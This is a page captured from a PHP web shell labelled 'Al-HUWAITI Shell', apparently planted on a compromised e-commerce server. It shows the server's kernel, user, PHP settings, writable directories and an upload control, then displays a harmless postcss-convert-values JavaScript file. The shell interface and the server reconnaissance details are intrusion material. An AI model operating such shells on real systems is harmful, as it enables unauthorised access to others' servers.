Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/node_modules/postcss-convert-values/dist/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/node_modules/postcss-convert-values/dist/lib/convert.js
'use strict';

Object.defineProperty(exports, "__esModule", {
    value: true
});

exports.default = function (number, unit, { time, length, angle }) {
    let value = dropLeadingZero(number) + (unit ? unit : '');
    let converted;

    if (length !== false && unit.toLowerCase() in lengthConv) {
        converted = transform(number, unit, lengthConv);
    }

    if (time !== false && unit.toLowerCase() in timeConv) {
        converted = transform(number, unit, timeConv);
    }

    if (angle !== false && unit.toLowerCase() in angleConv) {
        converted = transform(number, unit, angleConv);
    }

    if (converted && converted.length < value.length) {
        value = converted;
    }

    return value;
};

const lengthConv = {
    in: 96,
    px: 1,
    pt: 4 / 3,
    pc: 16
};

const timeConv = {
    s: 1000,
    ms: 1
};

const angleConv = {
    turn: 360,
    deg: 1
};

function dropLeadingZero(number) {
    const value = String(number);

    if (number % 1) {
        if (value[0] === '0') {
            return value.slice(1);
        }

        if (value[0] === '-' && value[1] === '0') {
            return '-' + value.slice(2);
        }
    }

    return value;
}

function transform(number, unit, conversion) {
    const lowerCasedUnit = unit.toLowerCase();
    let one, base;
    let convertionUnits = Object.keys(conversion).filter(u => {
        if (conversion[u] === 1) {
            one = u;
        }
        return lowerCasedUnit !== u;
    });

    if (lowerCasedUnit === one) {
        base = number / conversion[lowerCasedUnit];
    } else {
        base = number * conversion[lowerCasedUnit];
    }

    return convertionUnits.map(u => dropLeadingZero(base / conversion[u]) + u).reduce((a, b) => a.length < b.length ? a : b);
}

module.exports = exports['default'];

Al-HUWAITI Shell